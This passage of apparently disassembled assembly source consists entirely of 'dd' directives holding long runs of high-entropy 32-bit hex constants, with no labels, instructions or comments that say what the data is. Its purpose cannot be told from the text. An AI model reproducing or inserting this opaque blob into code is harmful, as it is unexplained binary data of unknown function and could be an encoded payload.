		dd 92CDD012h, 0FDC43E38h, 0ADF441FEh, 7AE75486h, 81FB96CBh
		dd 0E5103C46h, 8FD48B80h, 359BF8CCh, 11CAF823h,	186E175Ah
		dd 9E9289E8h, 4FFAAF5Ah, 0D1D707A5h, 3CCB400Ch,	533BCD84h
		dd 0E96E9C23h, 4B373928h, 4505D6B7h, 421828AEh,	0DD98E1A6h
		dd 346BCEF3h, 4965677Eh, 7AAC6B4Fh, 0CE7BAF04h,	0B7F30861h
		dd 8F172E9Ah, 95958450h, 37B23310h, 1F6DDE68h, 7E4EAF3Ch
		dd 3A485E8Ch, 0FB847F2Bh, 0C20C7E5Ah, 5D47CF8Ah, 0C2B6FE3Fh
		dd 390A892Ah, 7A625710h, 9D81B18Eh, 14FBDF8Dh, 7474CC0Fh
		dd 52AF7E6Ah, 7E6A9AC4h, 0E7EA72F5h, 7B9171D3h,	9B56D2FBh
		dd 34693B81h, 4C163594h, 0E08B6353h, 705BB2C2h,	4D62D3F8h
		dd 72D48AC2h, 70426A85h, 0B2E4EB4Eh, 30A20217h,	0B01D865Ch
		dd 0EB8CA0F0h, 0C4999780h, 6409002Ah, 0E84E2241h, 0B06CC8Fh
		dd 0F0F05B67h, 8226BB47h, 7C80F309h, 40E71733h,	3FD9A1BBh
		dd 50817C7Bh, 0BF67EDEFh, 829B2B5Fh, 261029B4h,	5E0531FAh
		dd 0C4EC7F75h, 0FCF5E7E4h, 7086B6E0h, 0F6F3684Dh, 0C33D99F8h
		dd 0EB396FDFh, 57D3A6F0h
		dd 25E43D29h, 45EE2A69h, 0D3711563h, 0DB285677h, 20B0DB3h
		dd 0E47B68C4h, 594C125Eh, 0AD9DEFF1h, 0BF6E6269h, 0FD6779A2h
		dd 11BB128Ah, 0F4981BFBh, 0F437EB7Eh, 1097D7C2h, 0B9DE475Eh
		dd 100C9282h, 7DCC2DD3h, 8492C5C3h, 2EF35688h, 2C7354A9h
		dd 0E0696026h, 40A3666Fh, 84E514A9h, 25BB8312h,	8B4CB07h
		dd 0BFCA87C0h, 1FFC144Ah, 2C0D5CD5h, 0B244D24Ch, 304519ECh
		dd 22340FBh, 6E0DA63Eh,	0C561E410h, 86F1FA7Bh, 0C8AD6C8h
		dd 7C02B2B2h, 6DCFD6C7h, 0D0FF79C4h, 8CC96C89h,	5A22CF6h
		dd 2D170513h, 0F8008BDEh, 6B726183h, 7C99813Dh,	20CF766Dh
		dd 9695C84Ah, 0FA5C2355h, 87F69C0Eh, 454850C0h,	7C3FD431h
		dd 12271703h, 0A1372F11h, 5F81B88Bh, 0FC2A7764h, 714F4D2Ah
		dd 94651AC2h, 0EEDED272h, 0E7836789h, 0CC77E382h, 5991A6A5h
		dd 1EDAFEC1h, 0C3632560h, 0D227AB50h, 2BA0D2BCh, 507C35F1h
		dd 5AF0FA51h, 0A3EA16AFh, 0C6398266h, 0D21ED44Ah, 0AF67170Bh
		dd 2398E974h, 1321524Bh, 936E2BB4h, 93808209h, 0DF6675C7h
		dd 0E543FAF4h, 7917B997h, 1CFEA87Ch, 0CD19BAA7h, 0C661BD19h
		dd 0A61A30F2h, 7D11BB20h, 290964A9h, 4BEB8625h,	74063DDBh
		dd 0DCB7432Bh, 0AD2B8BD7h, 8EB0FCC2h, 2D80914Ch, 54F93F8Dh
		dd 0F2778C0Fh, 0B6164769h, 0C9AA112Fh, 484C4465h, 0FAA7A727h
		dd 68759C2h, 0DA24792Eh, 95CB8EA6h, 0AB9D1685h,	0BA57F6B7h
		dd 1D94C07Eh, 5D453DB3h, 0A7429A19h, 9BD48C81h,	0F027BE38h
		dd 107D139Ah, 0F9723183h, 54988358h, 47A8E87Dh,	6B0FE5F7h
		dd 475E3526h, 407AD993h, 0BE6FEBAh, 3920BC61h, 1267569Fh
		dd 0B7AA4951h, 0A6D1A3D6h, 545CB6ECh, 815F4D8Fh, 0E19BCECEh
		dd 4C7F4D0Dh, 44DE9BC8h, 82024A8Ah, 1A785A5Eh, 0FEB9C55Bh
		dd 0C34799EFh, 0C4A8D7BFh, 0B8F70906h, 60396CF7h, 0EE24205Dh
		dd 4CE9DECh, 0F7A2BC3Ah, 55219C3Eh, 574DB229h, 3F0D69F0h
		dd 0E12056F2h, 0F02FBCEEh, 11C0ADA2h, 7A0EEDFEh, 758FE896h
		dd 1C8B5185h, 0A8CFC6C7h, 3AD33366h, 0BF4C1271h, 36A6E87Bh
		dd 0FEE8B3AFh, 51801E87h, 2373A3A5h, 0B8C1853h,	0EF28349Bh
		dd 834F48C2h, 5BED04Ah,	527F5FF9h, 75D25783h, 6411B874h
		dd 0CAE062DEh, 0B7FE04C9h, 0BEC4E59Dh, 0E15ABAAh, 0F001A69Ch
		dd 75407972h, 8DB598EAh, 437D623Ch, 44877B6h, 589D5B3Bh
		dd 57E77388h, 38426685h, 0DBDB774Fh, 9F685318h,	0C8C98618h
		dd 0A18D316Ch, 74DE6044h, 0B98AB623h, 0E6CA805Fh, 6FD1142Dh
		dd 0A3867CFAh, 0D520E863h, 250B31D4h, 57601F26h, 23DF9A5Dh
		dd 8A86A403h, 418BA9AAh, 3091D2D6h, 3DAB8B87h, 0BA8CE00Eh
		dd 2119A275h, 0C76854C7h, 108FE9E0h, 66C08E0Fh,	9B7A9495h
		dd 0C4DCA23Ch, 0FFC5352h, 0E24BD7C1h, 7ECCB8CCh, 0C2659D23h
		dd 0C82E39B6h, 40211E7Ch, 0DD733F4Fh, 0E4C970C0h, 19E0600Eh
		dd 7DEBFFADh, 34DCEC89h, 4A06B5BFh, 91EE4221h, 0FBD92DF7h
		dd 0EB85D9E3h, 23A8E1D5h, 8F849D09h, 0C7F5A850h, 0A962C79Ch
		dd 0C004C954h, 0AA2954F1h, 18889C96h, 7EE6EEBBh, 0F2CE945Dh
		dd 60E37199h, 5689E44Eh, 0EC5DAB45h, 171C4C22h,	1268676Ch
		dd 173B07C0h, 8ECDE5A7h, 5545209Ah, 860A0C15h, 0E4BFB51Fh
		dd 2F876F66h, 0D8F6CB54h, 0BB4BB02Eh, 5B97866Eh, 92A6B54Dh
		dd 53573E0Dh, 1930AA81h, 61E803BDh, 0F1529FA5h,	2E20AE78h
		dd 9C733A4Eh, 3B2F1781h, 6A86D5FFh, 0D1D162D6h,	47581207h
		dd 962EBACh, 856AC744h,	0E926DA3Ah, 70E3F1CEh, 5C14A4C2h
		dd 0EA2A62EFh, 0F54F496Eh, 0B11243C0h, 4C34D007h, 0D1554745h
		dd 8EB9F5F6h, 56F032Ch,	954777C2h, 921A259Eh, 9DF1FD1Bh
		dd 0F8F05983h, 2596BF09h, 3367AA1Eh, 8057166Bh,	0F8AAB875h
		dd 0AD680AAh, 5777B793h, 3AF6290Eh, 1F00F64Eh, 6DE8D7ADh
		dd 0F4C48DE5h, 36FB990Ah, 0FCDF2019h, 7BD438F7h, 97DE58B2h
		dd 0BFAF4C4Eh, 0CC13EFA9h, 8D6E47A6h, 82A838F3h, 0EABA927Ch
		dd 0A955D639h, 0BB674416h, 0A0AB5A2Fh, 0E91D4A2h, 0E5169BB7h
		dd 0B100BAFDh, 0C0EE5305h, 9B2DE702h, 26D16BAFh, 7EFA868Eh
		dd 0CB1C92D4h, 811EB3F6h, 0F3BBD296h, 67C9F4F0h, 76A1FBE5h
		dd 0D622CDC8h, 0BD77E435h, 0D7D4C6Fh, 5E37CC4h,	4E86406Dh
		dd 9A2464F5h, 0AF6B8263h, 10A01A0Dh, 15670C9Fh,	4411E359h
		dd 2C83C34Fh, 0E0158D38h, 0B9CF3B18h, 0A4FAA10Bh, 8BD330EEh
		dd 7D6B34F7h, 0BA2839EEh, 0C0B09B41h, 5B7BCF07h, 0F1287F9Ah
		dd 594AE5E2h, 0DAF64A60h, 0A009B1DEh, 0DA0CCEFCh, 4F3D9707h
		dd 1368C76Ch, 40A09A0Ah, 9EA410BEh, 0AE02283h, 5FF07DCEh
		dd 254C6BC9h, 0C1F329C9h, 0D1BE5D63h, 0DC6854F7h, 9D98D4DFh
		dd 0DF8F7EC6h, 0B09F78C0h, 0E210A6D7h, 595FC3ACh, 19A5222Fh
		dd 0BD9A53FAh, 0B7926E8Fh, 0DD3446Bh, 0E35756DDh, 3C83705Bh
		dd 0A41199EDh, 8BDB33CDh, 7D5B32EFh, 488D0896h,	5694977Dh
		dd 3E4661D7h, 0AAF6C865h, 4E374F11h, 7EEE9C4Bh,	70D3A9CBh
		dd 3CF0AF45h, 0A76C1C51h, 3C946665h, 0F86407CEh, 0B66AE165h
		dd 88892009h, 0C561B49h, 92583D29h, 7CF470DAh, 8C1B14D3h
		dd 34BFD002h, 66693D07h, 30875C73h, 763715B9h, 305CBACCh
		dd 0D773F702h, 0ECDC115Eh, 0AE71DD5Dh, 4262E87h, 3BDAAD88h
		dd 8353CDB0h, 0C552F1C4h, 0A6215EECh, 8386BC4Ch, 971ACB02h
		dd 862C67F3h, 6074BB04h, 4A816E8Fh, 0A3A318EFh,	0CB4B4CD6h
		dd 0E8D1120Eh, 80BEA9FAh, 0A29E5374h, 0E05C387Ah, 5EA44B93h
		dd 1E72D0FBh, 0B8C72F7h, 6C531701h, 4D434982h, 6EDF6D8Dh
		dd 6A4CFB21h, 4E8376B3h, 0C7A84901h, 7B14B1B7h,	56F9394Fh
		dd 4A234889h, 19A1CF0Fh, 382674D7h, 0EB8996DCh,	0E4FC0157h
		dd 0B28D23F5h, 0B5595831h, 0FB505518h, 0B7B3F299h, 47A09BABh
		dd 0FE0E7EFAh, 0E8982790h, 0EDC44D13h, 79B30791h, 0F8A7FDBh
		dd 0B0E00367h, 3E98EDD4h, 9C9890A1h, 3C87EE8h, 33C25300h
		dd 0E764C04Bh, 0DB6FAD0Fh, 92EB4846h, 0C4DF78C4h, 55DEA7Ah
		dd 84E5B80h, 495C40B9h,	3DC3794Ch, 88922377h, 0CC0C5DAEh
		dd 0E231E37Eh, 0B678284Fh, 4507FF30h, 6DE8B28Fh, 4963CB94h
		dd 0D0DC315Ch, 0DE71F1B2h, 0D10EE017h, 1C95632Ah, 0DB44570Fh
		dd 5C1177D2h, 40CBDEEAh, 0C358FA70h, 0A03B011Dh, 0D4BA5D6h
		dd 0D16E5081h, 3F1F6DCCh, 0ADE56AE3h, 0A5C2CA0Bh, 6A444F96h
		dd 1DC93686h, 0B97B6BDCh, 6F1D01A0h, 0FD835F37h, 1A52EFDDh
		dd 4136DC02h, 0D59AAA48h, 9CC9E86h, 296CBA68h, 0FB001909h
		dd 1C3E6866h, 136BB4A5h, 0C3D58B38h, 229BE70Ah,	3543A88Ah
		dd 256AEF41h, 0CF8BEC51h, 0FD26A3DBh, 1364AF51h, 0F15ADABDh
		dd 0AD34B68Eh, 0AEFD2E02h, 3D47B184h, 891DDEACh, 83391C06h
		dd 115C458Ch, 477B46A8h, 0AE0FCD78h, 0A3823E86h, 57B05960h
		dd 0A4E08DABh, 3BECF036h, 3DCABA84h, 0B4E2EA4Eh, 0FB270C8Eh
		dd 1EF42802h, 0DBC80AA1h, 0CCDADF76h, 0CB50EE91h, 8C221DF7h
		dd 0A5034049h, 0B7978F5Ch, 0EDB1104h, 1FF7C7BDh, 60C05C45h
		dd 66EECABFh, 4453AA68h, 0A5EED1E4h, 0B39CE88Ch, 0FD66D3D8h
		dd 2E4672CAh, 593D2F6Dh, 0F5552B97h, 2EC8D192h,	86C00C49h
		dd 0B769C9Ah, 0C6AFDA7Bh, 7F24246Ah, 83E80DDDh,	25B39448h
		dd 0AEC429F5h, 0AC7081E0h, 2C99B483h, 0D22C2944h, 0B90F49DAh
		dd 0DDA7304h, 8C0B9CCh,	0F07BC2E9h, 820CC55Ah, 0CCED998Bh
		dd 0B4DEE97h, 0B64FFB37h
		dd 6BEDD3D4h, 122998CDh, 0F160F5E0h, 530FFE75h,	0A6F90B32h
		dd 0FCF9E91Ah, 784F9427h, 9961AA71h, 0CB161051h, 33EC3DBh
		dd 3E6E6DC9h, 7781AA66h, 8DDCCCABh, 1739216Bh, 0D4DEB6D0h
		dd 0B7AFDB8h, 3C21B857h, 475EAD79h, 84D4E7A7h, 71F83274h
		dd 4FD1A7AFh, 0C52B26D9h, 2AF0ED6Eh, 1867D8C3h,	0C807412Bh
		dd 496976A2h, 6F1867E9h, 0DB559A6Ah, 9C9F4F53h,	997E198Ch
		dd 0C679A416h, 4BAF1098h, 2C9AD4B5h, 70797379h,	0E1BE74E7h
		dd 3A7BE662h, 39EBD3DAh, 70035194h, 991E7368h, 2AA4F812h
		dd 0F1F4C86Bh, 0BACAB630h, 0A96C7D4h, 0D5D80096h, 0CA1EF43Dh
		dd 0E8A5D968h, 0B3FF3D5Dh, 0CB937FFEh, 3B12D17Fh, 2C76337h
		dd 0E271731Ch, 0C4B0C638h, 0C3C72FEFh, 0C8EF18h, 78278A93h
		dd 51E4CAF3h, 4062E68Fh, 50883743h, 0B0D8411Bh,	4741C762h
		dd 0F5194750h, 9329898Dh, 3BBA7AE0h, 829C1D95h,	613C819Ch
		dd 73EC9897h, 3142E420h, 6036F201h, 21DDA129h, 0CEC34E96h
		dd 94AFC50Fh, 34A4E41Ah, 5FDF759Bh, 189A1E55h, 1285521Dh
		dd 353C6817h, 35027AA1h, 532F51D5h, 765A3168h, 93E18B51h
		dd 0FE8F2CEEh, 0BAB27C90h, 0EB8F1E0h, 6121480Eh, 0CF767B23h
		dd 5C6AB2h, 59D06993h, 13E0C83Fh, 1610DFAh, 94EA6F43h
		dd 18980501h, 1DBEA503h, 985444E3h, 70B1928Eh, 0CCFE99h
		dd 0A93B743Ch, 8D847860h, 32CA60A1h, 6262DC44h,	6ECBBB3Fh
		dd 6090B071h, 54A69B54h, 0BE73A2B6h, 0DAE15FB8h, 74937DFFh
		dd 109B5A93h, 0B5DA7754h, 0BC03D124h, 0C9B6CDDh, 7A1504E1h
		dd 0E16D446Eh, 0A75337FAh, 6FD2816Bh, 5F3AB324h, 0F221C783h
		dd 0ADB4D6D2h, 3B435BD6h, 8BAA3C5Fh, 5BC18FD6h,	0DD914541h
		dd 0AA0BEDDFh, 80CA9B06h, 28583503h, 93541761h,	921CFE1Eh
		dd 9F7C65CAh, 0BF0728B8h, 34B348EAh, 4A71B459h,	0D5780F2Bh
		dd 0F44592A2h, 21A2F04Ch, 4D9DC907h, 2C79FA91h,	0DF0B5831h
		dd 0DC27AF60h, 2026AB02h, 98DECF98h, 0C513D218h, 0F77FE96Ah
		dd 0B5576C15h, 57154598h, 0E7817BB2h, 4E65DFB4h, 731320BBh
		dd 0C892383h, 0F1BB5FC1h, 0D7381C4Eh, 57C6F2DEh, 30EDBDBFh
		dd 0BA37265Bh, 0EEAA3C0Eh, 4549F5CAh, 0C8646C0Dh, 0C302F6Dh
		dd 253D9DE9h, 1AA887D1h, 0D98329B8h, 0AFB6EE9Dh, 553A2C06h
		dd 0E13A48B3h, 0B528371Fh, 1A4ADC45h, 0E84E32C7h, 34E929CAh
		dd 0AE8655EDh, 54F7E0BFh, 35E1513Dh, 2026E345h,	209B7EB0h
		dd 0D5DAA6D6h, 0C608C434h, 560E26F8h, 648705EAh, 37C4C0Eh
		dd 49F6CFF6h, 0E5CEA924h, 65E1A6DDh, 0EBBB1D0h,	0A07B65EDh
		dd 0C1494956h, 31430E3Fh, 8DFF77ABh, 9F91498Bh,	0E73C210Fh
		dd 29CEA274h, 0F19E65A3h, 3EFFE9E8h, 0D5642A1Fh, 0F37D9980h
		dd 24FE23BEh, 8F79E769h, 34607870h, 0F85F14BDh,	746598D2h
		dd 21E2F011h, 0CC88C09Dh, 9EC05DD9h, 0BD37A470h, 0E9522AB5h
		dd 0EDE82327h, 0C4CEFD3Ch, 4EEE231Ch, 18FE6CE0h, 8FAC9BD4h
		dd 680F3E2Eh, 5C90E3F5h, 4F692E36h, 6F3363ACh, 46BF0C1Ch
		dd 4B2EDF4Dh, 9D31C70Dh, 0F6D7A896h, 65C43D2Ah,	35FC6AD9h
		dd 0E82800C8h, 46ED4C63h, 67CE1F8Bh, 94DE4C0Bh,	0C82BC761h
		dd 99471FD7h, 0F37F1DC2h, 0CD44DB82h, 1CB9180Eh, 8A436DF1h
		dd 0A53C22B8h, 0FD1E992Ch, 0BF15A859h, 0C894882Dh, 0A6D4A350h
		dd 643A760h, 3E62B044h,	0FB357F5Eh, 0F7973CFBh,	7E623398h
		dd 91440F61h, 0B0A1A120h, 0EBADBB62h, 4E9011BFh, 0B6C2A4BAh
		dd 837ACCA7h, 13C76682h, 4B724458h, 2BDE1629h, 828D6293h
		dd 8ED1C5EFh, 41F86056h, 67F73147h, 0AE1E15CFh,	60843B02h
		dd 52C1F58Ah, 0B28CC109h, 2356FDD5h, 0B0061A89h, 8452BE8Ch
		dd 51D01DFDh, 54443E01h, 0B5A9B52Dh, 0FE0E9A1Dh, 216CA2A9h
		dd 375D4753h, 4D60EC9Fh, 0ADBC41DBh, 0D4F78B02h, 68E39072h
		dd 4BD170AFh, 2BE6D39Dh, 0D475ADF1h, 0F8DA45A0h, 0FB76B3E1h
		dd 0D8C01CAh, 0CDB11E22h, 90CA0DA3h, 7E336F00h,	14F14F93h
		dd 6C38B3DAh, 7909A48Bh, 41BED96Fh, 7C5B793h, 20C7D84Bh
		dd 1CD66C48h, 0FCA9B307h, 0F91BAB19h, 5F78E2EEh, 0F2BFD1BEh
		dd 0FB06E653h, 63BEBCFBh, 0B6FEDB39h, 0AFC2D1EAh, 503CFB0Ch
		dd 0FE3E9D15h, 0D94FFBDBh, 379D4492h, 0BA8C746Dh, 6C87CC63h
		dd 0D6E18BDDh, 0AC1FDEF6h, 405FE0B3h, 0F8869F29h, 144923E1h
		dd 44A503D9h, 0E03D632Ah, 3B5B5DF8h, 3AA053AEh,	0DB75269h
		dd 7ACA709h, 10EECF93h,	6C6453FAh, 7F6A99D7h, 0AEAA33EFh
		dd 7BC156AAh, 423DA8Fh,	0EBEA598Fh, 0D7CC8C2Ah,	3A9E1C06h
		dd 0A3FB506h, 0B1578689h, 0B9D6729Ah, 0E7BE76BEh, 64DF5838h
		dd 9A007BC2h, 0FEFC7200h, 0E26B5D11h, 64EBBE21h, 0F3355426h
		dd 638CF913h, 50439F6Ch, 57290AD5h, 0B862DB7Bh,	0B4DE5610h
		dd 8E6DBC9Dh, 358DB217h, 6FD122DBh, 62730FECh, 0FBE5C9F9h
		dd 9AE6C2A9h, 55E5DD8h,	465E5329h, 0EE70F33h, 2874D2B6h
		dd 8E4BA5D3h, 871C73ACh, 87C219D6h, 1B1C3006h, 4F6F258Fh
		dd 0E6943E7h, 321DFB05h, 878A2FDh, 3C1BC352h, 0B8F8189Ah
		dd 6B9C690Dh, 0B07E583Fh, 8F347387h, 0DEFC7202h, 6E9D6D06h
		dd 90CBBE2Bh, 0DA50C6DBh, 0B4F30685h, 0A0AE37F8h, 29270192h
		dd 0AF156A5Ah, 0AF53A118h, 0A66D7F22h, 0D78D7960h, 0D4D3213h
		dd 1671461h, 0D7202ABBh, 92E748FFh, 7CE68007h, 0DBEF2834h
		dd 0E9ABC4A3h, 21C59C01h, 4D495AC3h, 0E6A3012h,	0F9B58493h
		dd 6F6B21B4h, 93CBDA93h, 51595BFBh, 0F1D8B2EDh,	8C911B12h
		dd 3CA9F322h, 65331AC3h, 2FBCDD13h, 0D94DD33Fh,	27C1C157h
		dd 5C1C72F8h, 7ECB7E4Fh, 22A0985Dh, 23A21737h, 0B373FA27h
		dd 0A2D39CEBh, 44B19865h, 4F9F53E5h, 2873C589h,	0F792476Ch
		dd 9D72B063h, 0F0A4CD9Bh, 0E9836BE3h, 76E5A3CFh, 4449FB5Eh
		dd 8F4700C8h, 4E2AC7E9h, 4C65073Ch, 0C1D7C059h,	86A24BB4h
		dd 770F4ECh, 8F95949Bh,	56C53BBh, 8AEAF9E4h, 4D392F5h
		dd 6CB388Eh, 0EF5763EAh, 8EDE3D18h, 32F41D98h, 7B1B55BFh
		dd 260E583Fh, 6FD08382h, 0F584DB05h, 7A719A0Ah,	0E70BBE9Ah
		dd 369F8429h, 27FC0681h, 5D4389BEh, 518B8A17h, 0B6657D94h
		dd 0A41893B0h, 12283051h, 0E17280E3h, 0A0B130FDh, 56771083h
		dd 3B65A93Ah, 4E2237ACh, 64F56D4Fh, 0FC553367h,	9507998Ah
		dd 707EEF61h, 90A16D90h, 87663173h, 65B2F10h, 5F09D321h
		dd 0EBE86D44h, 1096764h, 8A921886h, 0E5EC772Dh,	884C4928h
		dd 4ABF12BFh, 3B5BFCAAh, 0A20C582Fh, 0A76F36C3h, 0C30F07FAh
		dd 0C1BE34E2h, 8F3DE7D6h, 0C922B78Eh, 5DBB85DAh, 5C29D3F7h
		dd 48B7881Fh, 48609455h, 0F1975712h, 36EE755Eh,	0E29E0E13h
		dd 8F74482Ah, 3314B70h,	0C49A5DF7h, 0B16A273Ch,	0C9556F28h
		dd 20DE4873h, 9E74AD4h,	32F69CF1h, 99DC425Ah, 0A3A44A70h
		dd 0FC5DBB5Fh, 8FEF9F4Eh, 13AFB687h, 4E8278Ah, 59F0C485h
		dd 95ACD805h, 0CD01BAAh, 95147C5h, 6E53F716h, 0F641BDB6h
		dd 4E026D13h, 0E21C378Eh, 836EE4E2h, 0EB8F3DD6h, 0C69C8451h
		dd 6D0CF972h, 0F3C08175h, 621C61F2h, 37E395E3h,	821F9D4Fh
		dd 7B6DB9D9h, 0BE970FB3h, 0B8E142CAh, 9B36F4CEh, 0FFE64EF8h
		dd 46E7172Fh, 0D5734D17h, 3ABF56Dh, 1AAC033h, 5580E052h
		dd 735839DEh, 0A39D0990h, 6747053h, 128ED55Bh, 0E8AB4180h
		dd 0FC8EBC3Eh, 1F121186h, 6ACF4304h, 324C555h, 921D74E8h
		dd 7AB6D211h, 126D02C3h
		dd 0FB8BD517h, 0BE618E40h, 0DC658A0Bh, 5957FBE9h, 2E4D4736h
		dd 7D36C1D3h, 0A436420h, 616CDCE2h, 0BC251C10h,	8860D799h
		dd 0A691FC0Dh, 7D613EA3h, 0B52F340Bh, 0EB6DA49Eh, 0CCFCB316h
		dd 7EE01500h, 44CEFB0h,	0BEEC53Eh, 6F889053h, 0C3753C57h
		dd 6749FF0Bh, 8661FCAEh, 0EDF0E06h, 0D29A48CEh,	37051E7h
		dd 0EDC59B17h, 439BFC05h, 0E98DE2FDh, 2685CA91h, 835196Bh
		dd 0E93656BFh, 0E664804h, 4CA8FA84h, 50A483DDh,	9B539263h
		dd 39A2563Eh, 8D1E47DBh, 91F26C87h, 0F6BC50EAh,	5D21B952h
		dd 0C73D7966h, 0BC2EDAh, 4B6DB997h, 42DE9F7Ch, 38F9435Ah
		dd 8656F646h, 0B23C4DEAh, 0B15DA73Ch, 9CD541C0h, 0FC6E54DCh
		dd 0EFDDECh, 0AA83BA11h, 314A81DBh, 0D770C264h,	431086BCh
		dd 0E5BADA47h, 370099Ah, 3D620217h, 0F09C63FAh,	7E929098h
		dd 0EEAD7EC5h, 4F2571CAh, 833E5505h, 158FA7F7h,	0C83FE68Eh
		dd 5C7C191Ah, 716F4082h, 9CFF352Bh, 19DC40D3h, 0FC714202h
		dd 81BEA984h, 43BFD7F5h, 0E7E956AEh, 18BC2EA2h,	5B6DB9A7h
		dd 62DE9F5Ch, 4BAC9546h, 0EA6F1688h, 0B27EC604h, 51421725h
		dd 5846258h, 651BFF6h, 17A1EE8h, 0DF939B76h, 79A5BD97h
		dd 788171Ah, 0DE9B7A12h, 1AEB854Bh, 0FC41028Fh,	0E8FFA0ECh
		dd 0F0AC619Ah, 7B0829B4h, 0F229C905h, 0BCCC4ACAh, 809B5505h
		dd 0CCF354FBh, 0C15DD654h, 0F9ED8DFAh, 0A685C4FBh, 0CE7733EDh
		dd 0C81D47DAh, 78D4BA05h, 0A2438907h, 0F6626D8Fh, 21E3C6EDh
		dd 9B6B0Bh, 0EDE8B6AFh,	0DF8D7AC5h, 0F52DC0A8h,	631A9D2Ch
		dd 0B07EC193h, 432985BAh, 9CA04DBBh, 0EE3B67AFh, 165E273h
		dd 1887B2D8h, 7AA33653h, 700644EFh, 0E6E50893h,	5F61963Eh
		dd 2DB0877h, 0F48CE8Eh,	8747E9B2h, 971985FDh, 0FE0C0255h
		dd 7B01E071h, 0FAE5A6BFh, 4EF3794Ah, 13E4B3FFh,	6334278Ch
		dd 22C2CFBCh, 32AAB8D4h, 0E85D471Ah, 72B41600h,	764388FBh
		dd 97B16307h, 40ED6DB2h, 0D0CE1B26h, 22380EB8h,	0F7818074h
		dd 3A25C76Fh, 0EB671FF4h, 7EA2A49Ah, 4EA2940Dh,	78C4D2Bh
		dd 53268E19h, 0F1B97342h, 637FAE3Ah, 775DAADAh,	0E6DC9D8h
		dd 15E8779Bh, 91208119h, 0FEA66DDAh, 818B7184h,	0F432CCFh
		dd 0E83CEAEDh, 812C3E28h, 75E29254h, 2B52FF71h,	528B1EFh
		dd 553B3E07h, 28737D15h, 14BB120Dh, 0C8FBFBE9h,	4F9D47DAh
		dd 0F7F3F2CDh, 0B0848906h, 1EE188F8h, 1C1D16F5h, 0ABBDE723h
		dd 53E6A9FAh, 848D9729h, 0DD34D527h, 63EE0F53h,	9A61EF18h
		dd 5EA26ED3h, 0A9A01320h, 3AB7D54h, 9EDE9BAh, 0D6C64191h
		dd 47D10F2Fh, 0CA173E0h, 0E00687D2h, 5F61924Bh,	70B71867h
		dd 50EA429h, 18BCA499h,	16C447D4h, 0D890977h, 79A310DAh
		dd 5D45AC7h, 0A68253Fh,	9D407BB1h, 0EFBA9A50h, 5A88D80Fh
		dd 5D0D506Bh, 40CE321Ah, 498CC44Bh, 746989C1h, 0D8628801h
		dd 28D27C04h, 8F94923Fh, 8CE45402h, 0BB8D9814h,	8A65CB4Ch
		dd 1432979Bh, 3BE5B7B9h, 41B1E4F5h, 0A9ACEF94h,	0FC54914Ch
		dd 0E7B963ACh, 0A0E50BF8h, 8FC43096h, 9761EB2Ah, 0AE699BA2h
		dd 0D86E880Eh, 0C579734Eh, 0FF99ABFFh, 1B44C05h, 0BB85442Fh
		dd 0F5AACB33h, 6363EEFCh, 392C8AFAh, 8B8A1DB4h,	41C13F57h
		dd 252314FDh, 0AC1E65E5h, 0FDFCB127h, 0AB48CE34h, 0C1FC0162h
		dd 0A6CA855Ch, 0F6B403E6h, 0A468D872h, 0E21F932Fh, 3BAABD3Ah
		dd 0D48D7B75h, 44E10C6Ch, 6B671FD2h, 0D52041F9h, 44D7D1F7h
		dd 8C50D5A4h, 0FCA8EE4Bh, 5C67224Ch, 6C3524C1h,	3A2B3A6Ch
		dd 7F24C9E9h, 448B898Dh, 3D5A0B88h, 473958Fh, 0A7078Ah
		dd 5BAC7C05h, 67388666h, 0E1FAC25Ch, 854DD511h,	10FDEE71h
		dd 0F6878A0Eh, 0A607A8Ch, 0CC6583F2h, 90E5483Ah, 0E4207FA7h
		dd 3BD64FFEh, 71F812ADh, 9B92992Dh, 0FE3053D2h,	0E9694D2Eh
		dd 0BB6C6642h, 0A9A7BDEh, 31C7651h, 0F1ACEF68h,	0D0696AD8h
		dd 4C71924Ah, 75ACE0E1h, 0FAB08A9Fh, 27EF4D74h,	2DB8DE8Bh
		dd 0DC7103Dh, 5CF66743h, 70B4757Bh, 19BD0C0Eh, 1AF55A10h
		dd 45AD502h, 0A30F8Ah, 5FA46C05h, 94DDB1BBh, 0E58B86DEh
		dd 9AD4D993h, 200A21BDh, 0F7AEAF27h, 1898BDDDh,	4C0368Ch
		dd 0D01ACE82h, 9CAFFAA5h, 1BE087D3h, 0D1A78DCEh, 69B7E18h
		dd 16390BC6h, 3044D174h, 50BFC6BAh, 86187A56h, 4A936EFh
		dd 2C808F58h, 9A90CA60h, 7FEE7A14h, 0BF558BCFh,	0CD4B7656h
		dd 4F20A1FDh, 5D67DDB7h, 6D081735h, 93738437h, 6DBF1A3Eh
		dd 0C269D607h, 0EB136E3Eh, 60886B06h, 0C1015F23h, 18B8588Eh
		dd 0A1FD641Ah, 0AD748C27h, 869F85BEh, 43E4AD88h, 2401Bh
		dd 978E0F49h, 13893DF5h, 0E8D940FCh, 0C3EB64ACh, 3F1F188Ah
		dd 0B4CC8B95h, 0FB438AF0h, 63F1AC69h, 3168B26Eh, 7CD71930h
		dd 564CFDFh, 0C3815928h, 70B40722h, 6286F322h, 1F210A1Fh
		dd 6AC68B7Dh, 7638CDFh,	0F4BB8428h, 52364802h, 0A48C03B3h
		dd 78A4AD6Ch, 87D5AE6Fh, 92684DD6h, 15D73807h, 2158E038h
		dd 4A3CF7h, 86FFC38h, 0EEBD7EDh, 0F45803A2h, 0EC1C6C9Ah
		dd 0F98D379h, 0F1AC554Ah, 8A583C7Eh, 0EB771402h, 659EE04h
		dd 60CBBE2Eh, 3FA7423Ch, 0F2F30697h, 804C5A7Dh,	0DDEE4BE5h
		dd 0C3C99072h, 25646DD0h, 0C7EEDCB3h, 59F87CD0h, 0B2DD4795h
		dd 0D617390h, 4F65BC98h, 0B16AF7EBh, 4F60D314h,	38C42E9h
		dd 5CEDF5F3h, 6C067ED8h, 3D2EED9Fh, 578050E7h, 9A748CDDh
		dd 0A5C4968Fh, 948AF84Fh, 0BE78Ah, 5D543C05h, 2CC0A764h
		dd 0BFE55259h, 0A4C3C992h, 905DAAF6h, 0D54750FBh, 7C9763C7h
		dd 0F02BCE89h, 7B4E9A04h, 32B0B2C0h, 0A85763AAh, 7957421Bh
		dd 984F4677h, 0E4C5CCAFh, 3844FAE9h, 0B1BFAE72h, 25679ECFh
		dd 200658D8h, 3427C0C7h, 66F7C5BCh, 6E65A226h, 0A22190E8h
		dd 7F6B0C3h, 7620F4C1h,	803578CFh, 0D07A7540h, 0F15D88DAh
		dd 57C76F9Dh, 0C95D135Fh, 913655C2h, 51C341CAh,	89750DFBh
